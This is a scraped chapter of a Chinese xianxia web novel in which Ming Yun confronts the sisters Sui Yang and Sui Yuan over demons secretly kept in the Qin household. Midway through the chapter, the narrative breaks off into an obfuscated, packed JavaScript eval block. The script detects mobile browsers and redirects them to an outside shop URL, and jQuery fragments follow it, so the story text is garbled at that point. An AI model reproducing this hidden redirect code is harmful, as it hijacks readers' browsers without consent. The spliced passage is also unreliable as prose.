30. 沅沅,你到底,想做什么?
作品:《江湖四省高考生穿到修仙界后》 “明道友所言何意?”
见谢浔目光清明,不似作假,明霁很是震惊。
怎么会?怎么可能?
当年阿蕴重伤而亡,他本以为是谢浔做了这后面的一切,才会跟着回来。
没想到他也不记得,那这一切,到底是谁做的?
“明道友请问吧?师姐在休养,待她醒了我自为将道友的关心转告师姐。”
谢浔再一次下了逐客令,明霁没再说话,却也不走。
两人就这样僵持着,屋内的明蕴早已醒了,她的头有点痛,没急着出去是因为抛物线活过来了。
[宿主,主角登场了。]
明蕴一边收拾着自己,一边问道。
[是明霁?]
抛物线似是卡了一下,才回道。
[是。]
明蕴露出一个了然的神情,猜到了。
小说里像这什么剑仙转世,声望极重的,妥妥的主角命。
想起谢浔说的那句“他见过你”,明蕴摇了摇头,早刷过网上的段子,她这种命苦的打工人,兢兢业业还要被整,可不就是老板见第一眼就能挑中的社畜吗?
明蕴几乎要落下两行清泪,五百年了,任务主角终于出现了!
明蕴收拾好自己,抬步走向门,突然意识到不对劲。
[那女主是谁?]
[……我记错了,这其实是一本男频文。]
明蕴早已领会过抛物线的健忘,事情堆在那,来不及跟它计较。
[行吧。]
她已然接受良好,转世剑仙好啊,不要开后宫直接像那位真正的剑仙一样,刻苦修炼,得道成仙!
然后她完成任务,回去高考!
想到这里,原本沉重的心放松一些。明蕴推开门,看到那片玄色的衣角,有些欣慰。
“师弟……”
谢浔在她开门那刻就已经转过身来,这就导致了明蕴人叫到一半,明霁的身形出现在她眼中。
龙傲天主角来她的院子干嘛?
明蕴心里想着随沅的事情,上前抱拳笑道。
“今日之事,多谢明道友出手,只是眼下我师妹与友人未醒,就先走一步了。”
说完,明蕴拉着谢浔从明霁身边路过。
明霁自她出来那一刻便停下了所有动作,欲要说些什么,明蕴就已经拉着谢浔走了。
“泱泱如何了?还有沅沅,她有没有受伤?”
“师姐放心,随师姐正在稳固境界,想必要不了多久便会出来。
随师姐走前给随夫人结了个阵,并无大碍,眼下正安抚着秦老人……”
声音越来越小,一问一答,亲密无间。
明霁听着风带来的对话,心里冷笑一声。
这一次他来早了对吗?
可是上一次,明明是我先来的。
此刻正被人惦记的明蕴听着谢浔的汇报,再一次感概这小师弟如此靠谱,她晕倒前安排的事情竟然每一项都做的这么完美。
临近随沅的院子,明蕴停下来,看向一直落她半步的谢浔。
“师弟,你今日怎么样?可有受伤?”
明蕴关心人的顺序,一直都是按照亲疏关系来的。
把该问的人都问了一遍,这才发觉一直忘了跟在自己身边的师弟。
谢浔一直安安静静的,她说什么就做什么,护在她前面,跟在她后面,好像一个隐形人。
都说会哭的孩子有糖吃,她一向自诩心细,也差点忘了。明蕴心中懊悔,生出一丝愧疚来。
谢浔站在她身后,院子里点了灯,烛光掩住了他脸上的薄红,微微低了头。
“多谢师姐关心,我很好。”
“好,那你帮我看看江逐玉去,师姐进去找你随师姐有点事。此次你帮了大忙,待回到宗门,你想拜入哪个长老门下,师姐一定会帮你的。”
明蕴正想转身,袖子却被人从身后轻轻抓住,一回头,对上谢浔欲言又止的脸。
他似乎很为难。
“我……我不想……”
“什么不想?”
“不,我的意思是,我只想做师姐的师弟。”
明蕴神色古怪的看了谢浔一眼,本着孩子要什么就给什么的心,唇角勾了起来。
“好,你永远都是我的师弟。”
傻孩子说什么呢?不管谢浔拜入哪位长老的门下,不都要叫她一声大师姐?不都一样是她的师弟吗?
应该是今天伤到脑子了,等她解决完随沅的事情再给谢浔把脉看看。
*
“阿姐……”
“沅沅你别哭,不是你的错,要怪就怪秦骁。不过没关系,阿姐已经杀了他,不会再有人逼你做你不愿意的事情。
阿姐都想好了,等安置好秦老夫人,阿姐就带你回忘情门。
你记得忘情门吗?阿姐从前带你去过的,这次去了,阿姐一定会让你留下,然后咱们姐妹俩就再也不分开……”
屋子里传来女子小声的抽泣声与安抚声,明蕴没有急着开门。
她观望了一眼周围,枯叶被打扫干净,院子里井井有条,跟昨天一比,俨然已是两个模样。
明蕴走到屋子前敲门,姐妹二人听到声响,一起前来开门。
“师姐。”
“明姐姐。”
明蕴按着随泱坐下,伸手拧了帕子给随沅擦脸。
“我记得泱泱第一次带你回宗时,你也哭了好久。”
“都是之前的事情了,明姐姐还笑话我。”
随沅抢过明蕴的帕子,躲闪着给自己擦眼泪。
“沅沅,你没有什么话要与我说吗?”
明蕴的神色越变越冷。
随沅擦干了眼泪,手紧紧握住帕子不放,睁着一双大眼睛,好像不能理解明蕴的话。
“没有啊,明姐姐,你想知道什么,如果我知道,我一定会告诉你的。”
明蕴轻叹了口气,目光不再放在她身上,又问了一句。
“沅沅,我最后问你一遍……”
伴随着这句话,整个房间的气压都低了不少,随沅仍然捏着帕子,眼神直直的看着明蕴。
随泱垂着眼睑,微微颤抖的手表明了她此刻紧张的心情。
明蕴的目光扫过二人,补上后面半句话。
“你,有没有什么话,想与你阿姐说?”
随沅放在明蕴身上的目光一下就收了回去,与明蕴的视线交错,连带着手也往回缩了一下。
如果明蕴仍然是上一句问话。
她断然不会如此,但……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098302|192642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但她问的是阿姐。
是她唯一的阿姐啊……
明蕴冷眼看着姐妹俩目光闪躲,不敢与对方对视,眼眶却渐渐红了。
“泱泱,你跟在我身边多年,秦府的奇怪之处,我不信你看不出来。”
明蕴的语调没有半分波澜,起身倒了两杯茶。
茶香四溢,杯上的白气飘了一半散在空中,明蕴一人递了一杯。
不管是拿着帕子的随沅,还是紧扣着手的随泱,无一例外的,手皆是冰凉。
茶碗滚汤,暖不了手,更暖不了心。
明蕴没给自己倒茶,而是问了句。
“泱泱,我们一同来到这里,师姐给你个选择……”
随泱的心几乎被明蕴揪起,忍不住抬头看她,抬到一半又害怕的低下。
“咚!”
明蕴将茶壶放下,目光不知看向何处。
“是你自己问,还是师姐帮你?”
屋子里陷入诡异的沉默,明蕴的手轻轻敲着桌子,第三声时,随泱手中的茶杯砸入地面,发出清脆的响声。
明蕴听见抽气的声音,微微别过眼去,余光中,她看见随沅急忙放下茶盏,去看随泱的手有无大碍。
随泱握紧妹妹的手,吸一口气,轻声道。
“一切皆因我而起,就不劳烦师姐了。”
明蕴转过头去,等着她的下文。
随泱轻轻笑了声。
“师姐忍耐许久,还是我来说吧。”
她不再看着念叨多年的妹妹,也没有去看愧对博笑的师姐。
随泱看着窗外的残月,想到了做小官之女时的家。
月相似,人相同,但终究不能光阴倒转,回到何溪。
“进入秦府时,我便查觉到,这府中不仅只有一只妖。”
明蕴神色微动,继续听随泱说话。
“幻妖只是愰子,是掩盖其他三只的愰子,也是为了除去秦骁的愰子。
随沅,另外三只妖,是你养的对不对?甚至于,被我杀去的这只幻妖,也是你撺掇秦骁养的,对吗?”
随沅的手无力的垂下,随泱一松,便落在了一旁椅子的扶手上。
随沅的眼眶通红,迟迟没有落下泪来,也没有回答随泱的问题。
但有些事情,沉默就是回答。
她可以对不起所有人,可以骗秦骁,可以利用顾小娘,可以骗明蕴,甚至可以对着温柔喊“沅沅”的阿姐撒谎。
但唯独,骗不了此时的随泱。
因为,她喊的是随沅。
随家书香门第,随泱是长姐,有教导爱护幼妹的职责。
每当随泱沉下脸来喊她大名,随沅便知道,自己再不可能说任何谎话。
随泱闭了闭眼,深吸一口气。
“今日我破境时,九道天雷滚滚而下,师姐与明霁道友在,将范围限定在秦府之内,往我和妖魔身上引。
按理来说,所有的妖都该死于天雷之下,那三只妖却活了下来,是你做的,对不对?”
随沅的目光不在闪躲,轻轻说道。
“对,是我做的,我当时并不在东苑。”
随沅与以往任何一次一样,承认错误,却是第一次露出这副任她处置的表情。
“沅沅,你想做什么?”

